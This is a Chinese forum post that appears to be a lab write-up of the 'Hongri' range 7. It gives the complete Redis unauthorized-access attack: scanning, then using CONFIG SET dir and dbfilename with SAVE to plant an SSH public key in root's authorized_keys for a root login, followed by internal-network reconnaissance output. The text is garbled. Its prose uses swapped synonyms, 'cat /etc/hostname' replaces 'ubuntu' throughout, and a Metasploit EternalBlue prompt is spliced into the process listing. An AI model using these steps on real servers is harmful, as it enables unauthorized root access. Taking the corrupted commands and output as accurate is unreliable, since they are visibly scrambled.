红日靶场七:从外网入口、容器逃逸到 AD 担当的完备利用链复盘 [复制链接]
发表于 5 天前 | 显示全部楼层 |阅读模式
一、靶场干系信息




二、信息搜集

TCP 端口扫描 + 指纹辨认 + 利用体系辨认:
  1. sudo rustscan -a 192.168.111.20 -r 1-65535 -- -sV -O -Pn -n -oA TCP_PORTS_NAMP
复制代码
输出(仅罗列部分):
  1. PORT     STATE SERVICE REASON         VERSION
  2. 22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4cat /etc/hostname0.4 (Ubuntu Linux; protocol 2.0)
  3. 80/tcp   open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
  4. 81/tcp   open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
  5. 6379/tcp open  redis   syn-ack ttl 63 Redis key-value store 2.8.17
复制代码
关机信息:

  • OS:Ubuntu
  • 6379 端口:年代久远,默认设置下极大概率存在未授权访问
UDP 端口扫描 + 指纹辨认:
  1. sudo nmap -sV -sU --top-ports 20 192.168.111.20 -Pn -n -oA UDP_TOP20_PORTS
复制代码
从扫描效果上看,端口状态要么是 closed 要么是 open|filtered,并没有提供很大代价的信息。
思绪:先处理处罚 TCP 端口,若 TCP 端口没有突破,则回到 UDP 端口,用特定的工具举行扫描。
综合上述信息,如今最优先思量的就是 6379 端口,其次是 80 和 81 这两个 http 服务。
三、Redis 未授权访问

Redis 在 2.8 如许的老版本里:

  • 默认监听所在是 0.0.0.0(对全部网络接口开放)
  • 没有设置暗码(requirepass 为空)
  • protected-mode 这个掩护机制是 3.2 版本以后才引入的,2.8 完全没有这个功能
  • 靶场环境通常不会额外加固防火墙或设置
protected-mode 是 Redis 从 3.2 版本开始引入的一个默认安全掩护机制。简朴说,它的作用是:当 Redis 没有设置暗码(requirepass 为空),也没有明确绑定只允许本地访问(bind 127.0.0.1)的时间,就主动把外部网络的毗连全部拒绝,只允许本机(localhost)连进来。
实行无暗码登入:
  1. redis-cli -h 192.168.111.20 -p 6379
复制代码
登入乐成:

简朴做一下信息搜集,利用了下述下令:

  • ping:用于测试是否是真的毗连上了
  • info:Redis 版本、OS、内存、已毗连客户端数等信息
  • client list:全部已毗连客户端的 IP 和端口
  • config get dbfilename:当前 RDB 文件名
  • config get dir:当前 RDB 长期化目次
关键信息:
  1. redis_version:2.8.17
  2. os:Linux 5.4.0-66-generic x86_64
  3. dbfilename dump.rdb
  4. dir /root
  5. rdb_last_save_time:1775801194
  6. rdb_last_bgsave_status:ok
复制代码
RDB 的长期化目次被设置成 /root,而且根据 rdb_last_save_time 和 rdb_last_bgsave_status 可以推断出它不但指定了该目次,还乐成写进去了。
而我们知道,/root 目次的权限是 700,即只有 root 用户才有写权限。
因此,我们可以确认,当前的 Redis 是 root 权限下运行的。
根据之前端口扫描看到的 22 端口开放,于是通过 redis 写入 ssh 公钥 $\to$ ssh 毗连就是如今的紧张目的。
如今 kali 上天生 ssh 密钥对:
  1. ssh-keygen -t rsa -f ./target
复制代码
读取公钥内容:
  1. ❯ cat target.pub
  2. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYrIRFtsijwuU43JeBFUwC04tSP3jNnl3ujMwgOO7FIOaDe0c7Wsp+qk/vpSKfhnTfyPAmHrO5q58zbDuFCzBrQrUNxUXVXJaO6k8csJ2VuPBh5YN7W61q9Cs62BacSX9QHDv+EhCkewVW2O3oGWbvWODnQh8tbwV815HyP15hlIXrisEp9DHWqhvz2scKYcVPw38g31yUJkcMU4T83yMziBSIKgDi/6+RB7JsJXZ+x72QAQtFes6JHYDl1Z3NQmPCdesww/Bx0hwXOx3d9LJAtpV9WIPMVbK05bMlwdDs321yX060WZOJwrQBgG2gqLNANjjouOIJlyrHLNRt5QfACNkFWNehWtckYLtV1/03cF02medJ/IJMt1yokLo/O2hcG0NK8vOxbUbcBrXUfHxHUWSUYwyag7L0SYctycjCi7lIXze8UhTf7C8oT7fPPzRiuoEu6KRuxXCxEJEOBa928iD/OhLu0JlVf+W2NrAnw3zJZJjh9ckHhATu+oFagg0= zyf@kali
复制代码
回到 redis 中,将公钥内容写入:
  1. SET pubkey "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYrIRFtsijwuU43JeBFUwC04tSP3jNnl3ujMwgOO7FIOaDe0c7Wsp+qk/vpSKfhnTfyPAmHrO5q58zbDuFCzBrQrUNxUXVXJaO6k8csJ2VuPBh5YN7W61q9Cs62BacSX9QHDv+EhCkewVW2O3oGWbvWODnQh8tbwV815HyP15hlIXrisEp9DHWqhvz2scKYcVPw38g31yUJkcMU4T83yMziBSIKgDi/6+RB7JsJXZ+x72QAQtFes6JHYDl1Z3NQmPCdesww/Bx0hwXOx3d9LJAtpV9WIPMVbK05bMlwdDs321yX060WZOJwrQBgG2gqLNANjjouOIJlyrHLNRt5QfACNkFWNehWtckYLtV1/03cF02medJ/IJMt1yokLo/O2hcG0NK8vOxbUbcBrXUfHxHUWSUYwyag7L0SYctycjCi7lIXze8UhTf7C8oT7fPPzRiuoEu6KRuxXCxEJEOBa928iD/OhLu0JlVf+W2NrAnw3zJZJjh9ckHhATu+oFagg0= zyf@kali\n\n"
复制代码
设置目次:
  1. CONFIG SET dir /root/.ssh/
复制代码
设置生存文件名:
  1. CONFIG SET dbfilename authorized_keys
  2. SAVE
复制代码
留意:Redis 通过 CONFIG SET dir + dbfilename 再实行 SAVE 的方式,是覆盖式写入,它会天生一个全新的 RDB 二进制快照文件,直接把目的文件(这里是 /root/.ssh/authorized_keys)重新更换掉,而不是在原有内容反面追加。而上面在公钥前面加 \n 换行符的目的在于,RDB 文件的格式是二进制的,即文件最开头固定会有“REDIS”把戏字符串加上版本号、元数据等一堆二进制垃圾数据,然后才是你 SET 进去的 pubkey 内容。假如不加换行,公钥字符串就会直接粘在这些二进制垃圾反面,形成雷同“[二进制乱码]ssh-rsa AAA...”如许的一长行,sshd 在剖析 authorized_keys 时就会把它当成无效行而直接忽略,导致公钥无法收效。
实行 ssh 登入:
  1. ssh root@192.168.111.20 -i ./target
复制代码

登入乐成。
四、Ubuntu 信息搜集

先用原生下令做一下信息搜集:
  1. root@cat /etc/hostname:~# ip addr
  2. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
  3.     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  4.     inet 127.0.0.1/8 scope host lo
  5.        valid_lft forever preferred_lft forever
  6.     inet6 ::1/128 scope host
  7.        valid_lft forever preferred_lft forever
  8. 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
  9.     link/ether 00:50:56:b1:41:a3 brd ff:ff:ff:ff:ff:ff
  10.     inet 192.168.111.20/24 brd 192.168.111.255 scope global ens33
  11.        valid_lft forever preferred_lft forever
  12.     inet6 fe80::250:56ff:feb1:41a3/64 scope link
  13.        valid_lft forever preferred_lft forever
  14. 3: ens38: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
  15.     link/ether 00:50:56:b1:f7:eb brd ff:ff:ff:ff:ff:ff
  16.     inet 192.168.52.10/24 brd 192.168.52.255 scope global ens38
  17.        valid_lft forever preferred_lft forever
  18.     inet6 fe80::250:56ff:feb1:f7eb/64 scope link
  19.        valid_lft forever preferred_lft forever
复制代码
双网卡:

  • 外网:192.168.111.20
  • 内网:192.168.52.10
  • 内网网段:192.168.52.0/24
  1. root@cat /etc/hostname:~# cat /proc/version
  2. Linux version 5.4.0-66-generic (buildd@lgw01-amd64-016) (gcc version 7.5.0 (Ubuntu 7.5.0-3cat /etc/hostname1~18.04)) #74~18.04.2-Ubuntu SMP Fri Feb 5 11:17:31 UTC 2021
  3. root@cat /etc/hostname:~# cat /etc/os-release
  4. NAME="Ubuntu"
  5. VERSION="18.04.5 LTS (Bionic Beaver)"
  6. ID=cat /etc/hostname
  7. ID_LIKE=debian
  8. PRETTY_NAME="Ubuntu 18.04.5 LTS"
  9. VERSION_ID="18.04"
  10. HOME_URL="https://www.cat /etc/hostname.com/"
  11. SUPPORT_URL="https://help.cat /etc/hostname.com/"
  12. BUG_REPORT_URL="https://bugs.launchpad.net/cat /etc/hostname/"
  13. PRIVACY_POLICY_URL="https://www.cat /etc/hostname.com/legal/terms-and-policies/privacy-policy"
  14. VERSION_CODENAME=bionic
  15. UBUNTU_CODENAME=bionic
复制代码
  1. root@cat /etc/hostname:~# hostname && cat /etc/issue && uname -a && cat /etc/hostscat /etc/hostname
  2. Ubuntu 18.04.5 LTS \n \l
  3. Linux cat /etc/hostname 5.4.0-66-generic #74~18.04.2-Ubuntu SMP Fri Feb 5 11:17:31 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  4. 127.0.0.1       localhost
  5. 127.0.1.1       cat /etc/hostname
  6. 47.101.57.72    whoamianony.top
  7. 127.0.0.1       www.whopen.com
  8. # The following lines are desirable for IPv6 capable hosts
  9. ::1     ip6-localhost ip6-loopback
  10. fe00::0 ip6-localnet
  11. ff00::0 ip6-mcastprefix
  12. ff02::1 ip6-allnodes
  13. ff02::2 ip6-allrouters
复制代码
路由信息:
  1. root@cat /etc/hostname:~# ip route show
  2. 192.168.52.0/24 dev ens38 proto kernel scope link src 192.168.52.10
  3. 192.168.111.0/24 dev ens33 proto kernel scope link src 192.168.111.20
复制代码
分析直连内网环境。
检察 ARP 缓存:
  1. root@cat /etc/hostname:~# ip neigh
  2. 192.168.52.20 dev ens38 lladdr 00:50:56:b1:7e:66 STALE
  3. 192.168.111.25 dev ens33 lladdr 00:50:56:b1:87:ea REACHABLE
复制代码
直接发现了新的一台内网主机(192.168.52.20):

检察全部历程:
  1. root@cat /etc/hostname:~# ps aux
  2. USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
  3. root          1  0.0  0.2 159932  9172 ?        Ss   Apr09   0:02 /sbin/init auto noprompt
  4. root          2  0.0  0.0      0     0 ?        S    Apr09   0:00 [kthreadd]
  5. root          3  0.0  0.0      0     0 ?        I<   Apr09   0:00 [rcu_gp]
  6. root          4  0.0  0.0      0     0 ?        I<   Apr09   0:00 [rcu_par_gp]
  7. root          6  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kworker/0:0H-kb]
  8. root          9  0.0  0.0      0     0 ?        I<   Apr09   0:00 [mm_percpu_wq]
  9. root         10  0.0  0.0      0     0 ?        S    Apr09   0:00 [ksoftirqd/0]
  10. root         11  0.0  0.0      0     0 ?        I    Apr09   0:01 [rcu_sched]
  11. root         12  0.0  0.0      0     0 ?        S    Apr09   0:00 [migration/0]
  12. root         13  0.0  0.0      0     0 ?        S    Apr09   0:00 [idle_inject/0]
  13. root         14  0.0  0.0      0     0 ?        S    Apr09   0:00 [cpuhp/0]
  14. root         15  0.0  0.0      0     0 ?        S    Apr09   0:00 [cpuhp/1]
  15. root         16  0.0  0.0      0     0 ?        S    Apr09   0:00 [idle_inject/1]
  16. root         17  0.0  0.0      0     0 ?        S    Apr09   0:00 [migration/1]
  17. root         18  0.0  0.0      0     0 ?        S    Apr09   0:00 [ksoftirqd/1]
  18. root         20  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kworker/1:0H-kb]
  19. root         21  0.0  0.0      0     0 ?        S    Apr09   0:00 [kdevtmpfs]
  20. root         22  0.0  0.0      0     0 ?        I<   Apr09   0:00 [netns]
  21. root         23  0.0  0.0      0     0 ?        S    Apr09   0:00 [rcu_tasks_kthre]
  22. root         24  0.0  0.0      0     0 ?        S    Apr09   0:00 [kauditd]
  23. root         26  0.0  0.0      0     0 ?        S    Apr09   0:00 [khungtaskd]
  24. root         27  0.0  0.0      0     0 ?        S    Apr09   0:00 [oom_reaper]
  25. root         28  0.0  0.0      0     0 ?        I<   Apr09   0:00 [writeback]
  26. root         29  0.0  0.0      0     0 ?        S    Apr09   0:00 [kcompactd0]
  27. root         30  0.0  0.0      0     0 ?        SN   Apr09   0:00 [ksmd]
  28. root         31  0.0  0.0      0     0 ?        SN   Apr09   0:00 [khugepaged]
  29. root         36  0.0  0.0      0     0 ?        I    Apr09   0:02 [kworker/1:1-eve]
  30. root         78  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kintegrityd]
  31. root         79  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kblockd]
  32. root         80  0.0  0.0      0     0 ?        I<   Apr09   0:00 [blkcg_punt_bio]
  33. root         82  0.0  0.0      0     0 ?        I<   Apr09   0:00 [tpm_dev_wq]
  34. root         83  0.0  0.0      0     0 ?        I<   Apr09   0:00 [ata_sff]
  35. root         84  0.0  0.0      0     0 ?        I<   Apr09   0:00 [md]
  36. root         85  0.0  0.0      0     0 ?        I<   Apr09   0:00 [edac-poller]
  37. root         86  0.0  0.0      0     0 ?        I<   Apr09   0:00 [devfreq_wq]
  38. root         87  0.0  0.0      0     0 ?        S    Apr09   0:00 [watchdogd]
  39. root         90  0.0  0.0      0     0 ?        S    Apr09   0:00 [kswapd0]
  40. root         91  0.0  0.0      0     0 ?        S    Apr09   0:00 [ecryptfs-kthrea]
  41. root         93  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kthrotld]
  42. root         94  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/24-pciehp]
  43. root         95  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/25-pciehp]
  44. root         96  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/26-pciehp]
  45. root         97  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/27-pciehp]
  46. root         98  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/28-pciehp]
  47. root         99  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/29-pciehp]
  48. root        100  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/30-pciehp]
  49. root        101  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/31-pciehp]
  50. root        102  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/32-pciehp]
  51. root        103  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/33-pciehp]
  52. root        104  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/34-pciehp]
  53. root        105  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/35-pciehp]
  54. root        106  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/36-pciehp]
  55. root        107  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/37-pciehp]
  56. root        108  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/38-pciehp]
  57. root        109  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/39-pciehp]
  58. root        110  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/40-pciehp]
  59. root        111  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/41-pciehp]
  60. root        112  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/42-pciehp]
  61. root        113  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/43-pciehp]
  62. root        114  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/44-pciehp]
  63. root        115  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/45-pciehp]
  64. root        116  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/46-pciehp]
  65. root        117  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/47-pciehp]
  66. root        118  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/48-pciehp]
  67. root        119  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/49-pciehp]
  68. root        120  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/50-pciehp]
  69. root        121  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/51-pciehp]
  70. root        122  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/52-pciehp]
  71. root        123  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/53-pciehp]
  72. root        124  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/54-pciehp]
  73. root        125  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/55-pciehp]
  74. root        126  0.0  0.0      0     0 ?        I<   Apr09   0:00 [acpi_thermal_pm]
  75. root        127  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_0]
  76. root        128  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_0]
  77. root        129  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_1]
  78. root        130  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_1]
  79. root        132  0.0  0.0      0     0 ?        I<   Apr09   0:00 [vfio-irqfd-clea]
  80. root        133  0.0  0.0      0     0 ?        I<   Apr09   0:00 [ipv6_addrconf]
  81. root        143  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kstrp]
  82. root        146  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kworker/u257:0]
  83. root        159  0.0  0.0      0     0 ?        I<   Apr09   0:00 [charger_manager]
  84. root        220  0.0  0.0      0     0 ?        I<   Apr09   0:00 [mpt_poll_0]
  85. root        221  0.0  0.0      0     0 ?        I<   Apr09   0:00 [mpt/0]
  86. root        222  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_2]
  87. root        223  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_2]
  88. root        224  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_3]
  89. root        225  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_3]
  90. root        226  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_4]
  91. root        227  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_4]
  92. root        228  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_5]
  93. root        229  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_5]
  94. root        230  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_6]
  95. root        231  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_6]
  96. root        232  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_7]
  97. root        233  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_7]
  98. root        234  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_8]
  99. root        235  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_8]
  100. root        236  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_9]
  101. root        237  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_9]
  102. root        238  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_10]
  103. root        239  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_10]
  104. root        240  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_11]
  105. root        241  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_11]
  106. root        242  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_12]
  107. root        243  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_12]
  108. root        244  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_13]
  109. root        245  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_13]
  110. root        246  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_14]
  111. root        247  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_14]
  112. root        248  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_15]
  113. root        249  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_15]
  114. root        250  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_16]
  115. root        251  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_16]
  116. root        252  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_17]
  117. root        253  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_17]
  118. root        254  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_18]
  119. root        255  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_18]
  120. root        256  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_19]
  121. root        257  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_19]
  122. root        258  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_20]
  123. root        259  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_20]
  124. root        260  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_21]
  125. root        261  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_21]
  126. root        262  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_22]
  127. root        263  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_22]
  128. root        264  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_23]
  129. root        265  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_23]
  130. root        266  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_24]
  131. root        267  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_24]
  132. root        268  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_25]
  133. root        269  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_25]
  134. root        270  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_26]
  135. root        271  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_26]
  136. root        272  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_27]
  137. root        273  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_27]
  138. root        274  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_28]
  139. root        275  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_28]
  140. root        276  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_29]
  141. root        277  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_29]
  142. root        278  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_30]
  143. root        279  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_30]
  144. root        280  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_31]
  145. root        282  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_31]
  146. root        310  0.0  0.0      0     0 ?        S    Apr09   0:00 [scsi_eh_32]
  147. root        311  0.0  0.0      0     0 ?        I<   Apr09   0:00 [scsi_tmf_32]
  148. root        312  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kworker/0:1H-kb]
  149. root        314  0.0  0.0      0     0 ?        I<   Apr09   0:00 [kworker/1:1H-kb]
  150. root        334  0.0  0.0      0     0 ?        S    Apr09   0:00 [jbd2/sda1-8]
  151. root        335  0.0  0.0      0     0 ?        I<   Apr09   0:00 [ext4-rsv-conver]
  152. root        367  0.0  0.2  78604 11316 ?        S<s  Apr09   0:00 /lib/systemd/systemd-journald
  153. root        393  0.0  0.0      0     0 ?        I    Apr09   0:01 [kworker/0:3-cgr]
  154. root        394  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop0]
  155. root        398  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop1]
  156. root        399  0.0  0.0      0     0 ?        S    Apr09   0:00 [irq/16-vmwgfx]
  157. root        400  0.0  0.0      0     0 ?        I<   Apr09   0:00 [ttm_swap]
  158. root        403  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop2]
  159. root        409  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop3]
  160. root        410  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop4]
  161. root        412  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop5]
  162. root        413  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop6]
  163. root        417  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop7]
  164. root        423  0.0  0.2  49944  8004 ?        Ss   Apr09   0:00 /lib/systemd/systemd-udevd
  165. root        432  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop8]
  166. root        442  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop9]
  167. root        469  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop10]
  168. root        472  0.0  0.0 158792   300 ?        Ssl  Apr09   0:00 vmware-vmblock-fuse /msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30/vmblock-fuse -o rw,subtype=vmware-vmblock,default_per
  169. root        483  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop11]
  170. root        487  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop12]
  171. root        488  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop13]
  172. systemd+    501  0.0  0.1  72020  5408 ?        Ss   Apr09   0:00 /lib/systemd/systemd-networkd
  173. root        502  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop14]
  174. root        504  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop15]
  175. root        514  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop16]
  176. root        515  0.0  0.0      0     0 ?        S<   Apr09   0:00 [loop17]
  177. systemd+    521  0.0  0.1  70664  5304 ?        Ss   Apr09   0:00 /lib/systemd/systemd-resolved
  178. systemd+    522  0.0  0.0 146136  3436 ?        Ssl  Apr09   0:00 /lib/systemd/systemd-timesyncd
  179. root        563  0.0  0.2  98268 10736 ?        Ss   Apr09   0:00 /usr/bin/VGAuthService
  180. root        567  0.0  0.1 235424  7196 ?        S<sl Apr09   0:02 /usr/bin/vmtoolsd
  181. root        603  0.0  0.2 308544  8812 ?        Ssl  Apr09   0:00 /usr/lib/accountsservice/accounts-daemon
  182. root        614  0.0  0.9 1849372 38504 ?       Ssl  Apr09   0:02 /usr/lib/snapd/snapd
  183. root        616  0.0  0.2 434320  9216 ?        Ssl  Apr09   0:00 /usr/sbin/ModemManager --filter-policy=strict
  184. root        618  0.0  0.1  70732  6136 ?        Ss   Apr09   0:00 /lib/systemd/systemd-logind
  185. root        621  0.0  0.0  38432  3224 ?        Ss   Apr09   0:00 /usr/sbin/cron -f
  186. message+    623  0.0  0.1  51340  5564 ?        Ss   Apr09   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --system
  187. root        646  0.0  0.1  46496  5052 ?        Sl   Apr09   0:03 redis-server *:6379
  188. root        680  0.0  0.0      0     0 ?        I<   Apr09   0:00 [cryptd]
  189. syslog      771  0.0  0.1 263040  4932 ?        Ssl  Apr09   0:00 /usr/sbin/rsyslogd -n
  190. avahi       773  0.0  0.0  47288  3708 ?        Ss   Apr09   0:00 avahi-daemon: msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30ning [cat /etc/hostname.local]
  191. root        775  0.0  0.3 517616 12432 ?        Ssl  Apr09   0:00 /usr/lib/udisks2/udisksd
  192. root        779  0.0  0.0   4556   788 ?        Ss   Apr09   0:00 /usr/sbin/acpid
  193. root        782  0.0  0.4 428608 17968 ?        Ssl  Apr09   0:00 /usr/sbin/NetworkManager --no-daemon
  194. root        783  0.0  0.0 110552  2116 ?        Ssl  Apr09   0:00 /usr/sbin/irqbalance --foreground
  195. root        790  0.0  0.1  45236  5316 ?        Ss   Apr09   0:00 /sbin/wpa_supplicant -u -s -O /msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30/wpa_supplicant
  196. root        794  0.0  0.4 177644 17132 ?        Ssl  Apr09   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30-startup-triggers
  197. root        859  0.0  0.2 311328 10960 ?        Ssl  Apr09   0:00 /usr/lib/policykit-1/polkitd --no-debug
  198. avahi       884  0.0  0.0  47080   340 ?        S    Apr09   0:00 avahi-daemon: chroot helper
  199. root        949  0.0  0.4 194356 19904 ?        Ssl  Apr09   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --
  200. root        970  0.0  0.1 308060  7444 ?        Ssl  Apr09   0:00 /usr/sbin/gdm3
  201. root        973  0.0  0.1  72304  5688 ?        Ss   Apr09   0:00 /usr/sbin/sshd -D
  202. whoopsie    975  0.0  0.3 394992 12960 ?        Ssl  Apr09   0:00 /usr/bin/whoopsie -f
  203. kernoops    987  0.0  0.0  56944   424 ?        Ss   Apr09   0:00 /usr/sbin/kerneloops --test
  204. kernoops    989  0.0  0.0  56944  2544 ?        Ss   Apr09   0:00 /usr/sbin/kerneloops
  205. root        990  0.0  0.2 261556  8052 ?        Sl   Apr09   0:00 gdm-session-worker [pam/gdm-launch-environment]
  206. root       1022  0.0  0.0 141128  1580 ?        Ss   Apr09   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
  207. www-data   1023  0.0  0.1 143772  6460 ?        S    Apr09   0:00 nginx: worker process
  208. www-data   1024  0.0  0.1 143772  6460 ?        S    Apr09   0:00 nginx: worker process
  209. gdm        1027  0.0  0.2  76944  8052 ?        Ss   Apr09   0:00 /lib/systemd/systemd --user
  210. gdm        1028  0.0  0.0 114076  2628 ?        S    Apr09   0:00 (sd-pam)
  211. gdm        1095  0.0  0.1 197800  5444 tty1     Ssl+ Apr09   0:00 /usr/lib/gdm3/gdm-wayland-session gnome-session --autostart /usr/share/gdm/gre
  212. gdm        1097  0.0  0.1  50248  4612 ?        Ss   Apr09   0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --syste
